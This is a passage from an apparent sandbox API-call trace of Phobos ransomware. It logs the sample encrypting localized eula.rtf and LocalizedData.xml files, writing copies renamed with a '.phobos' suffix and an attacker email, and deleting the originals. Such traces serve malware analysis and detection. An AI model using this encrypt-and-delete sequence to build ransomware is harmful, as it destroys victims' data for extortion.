lpOverlapped=0x0) returned 1 [0045.338] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x14420, dwBufLen=0x14420 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x14420) returned 1 [0045.338] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x14420, lpOverlapped=0x0) returned 1 [0045.340] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10c8d90) returned 1 [0045.340] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.340] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0045.340] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.340] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0045.340] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0045.340] CloseHandle (hObject=0x310) returned 1 [0045.341] CloseHandle (hObject=0x320) returned 1 [0045.342] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0045.344] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.344] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.344] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6851) returned 1 [0045.344] CloseHandle (hObject=0x320) returned 1 [0045.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0045.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.344] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.344] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.344] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.344] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.344] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8d90) returned 1 [0045.345] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.345] ReadFile (in: hFile=0x320, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1ac3, lpOverlapped=0x0) returned 1 [0045.361] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1ad0) returned 1 [0045.361] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1ad0, lpOverlapped=0x0) returned 1 [0045.362] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10c8e50) returned 1 [0045.362] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.362] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.362] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0045.362] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.362] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.362] CloseHandle (hObject=0x320) returned 1 [0045.362] CloseHandle (hObject=0x310) returned 1 [0045.363] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0045.364] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.364] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.366] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=72076) returned 1 [0045.366] CloseHandle (hObject=0x320) returned 1 [0045.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0045.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.367] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.367] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.367] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.367] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.367] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8e50) returned 1 [0045.367] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.367] ReadFile (in: hFile=0x320, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1198c, lpOverlapped=0x0) returned 1 [0045.381] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x11990, dwBufLen=0x11990 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x11990) returned 1 [0045.381] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x11990, lpOverlapped=0x0) returned 1 [0045.383] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0045.383] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.383] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0045.383] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0045.383] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0045.383] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0045.383] CloseHandle (hObject=0x320) returned 1 [0045.383] CloseHandle (hObject=0x2fc) returned 1 [0045.385] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0045.386] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.386] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.386] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4254) returned 1 [0045.387] CloseHandle (hObject=0x2fc) returned 1 [0045.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0045.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.387] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.387] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.387] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.387] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.387] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcad0) returned 1 [0045.387] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.664] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x109e, lpOverlapped=0x0) returned 1 [0045.678] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x10a0) returned 1 [0045.678] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x10a0, lpOverlapped=0x0) returned 1 [0045.684] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0045.684] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.684] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.684] CryptDestroyKey (hKey=0x10dc810) returned 1 [0045.684] WriteFile (in: hFile=0x320, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.684] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0045.684] CloseHandle (hObject=0x2fc) returned 1 [0045.684] CloseHandle (hObject=0x320) returned 1 [0045.687] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0045.688] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.688] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.688] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=10125) returned 1 [0045.688] CloseHandle (hObject=0x314) returned 1 [0045.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0045.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.688] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.688] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.688] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.688] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.690] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc6d0) returned 1 [0045.690] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.690] ReadFile (in: hFile=0x314, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x278d, lpOverlapped=0x0) returned 1 [0045.711] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2790, dwBufLen=0x2790 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2790) returned 1 [0045.711] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2790, lpOverlapped=0x0) returned 1 [0045.711] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0045.711] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.712] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.712] CryptDestroyKey (hKey=0x10dc810) returned 1 [0045.712] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.712] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0045.712] CloseHandle (hObject=0x314) returned 1 [0045.712] CloseHandle (hObject=0x328) returned 1 [0045.712] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0045.713] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.713] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.714] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=12687) returned 1 [0045.714] CloseHandle (hObject=0x328) returned 1 [0045.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0045.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.714] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.714] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.714] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.714] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0045.715] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc850) returned 1 [0045.715] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.715] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x318f, lpOverlapped=0x0) returned 1 [0045.784] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3190, dwBufLen=0x3190 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3190) returned 1 [0045.784] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3190, lpOverlapped=0x0) returned 1 [0045.785] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb50) returned 1 [0045.785] CryptSetKeyParam (hKey=0x10dcb50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.785] CryptEncrypt (in: hKey=0x10dcb50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.785] CryptDestroyKey (hKey=0x10dcb50) returned 1 [0045.785] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.785] CryptDestroyKey (hKey=0x10dc850) returned 1 [0045.785] CloseHandle (hObject=0x328) returned 1 [0045.786] CloseHandle (hObject=0x314) returned 1 [0045.786] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0045.787] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.787] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.804] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3546) returned 1 [0045.804] CloseHandle (hObject=0x334) returned 1 [0045.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0045.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.804] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.804] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.804] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.804] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.811] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0045.811] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.811] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xdda, lpOverlapped=0x0) returned 1 [0045.887] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, 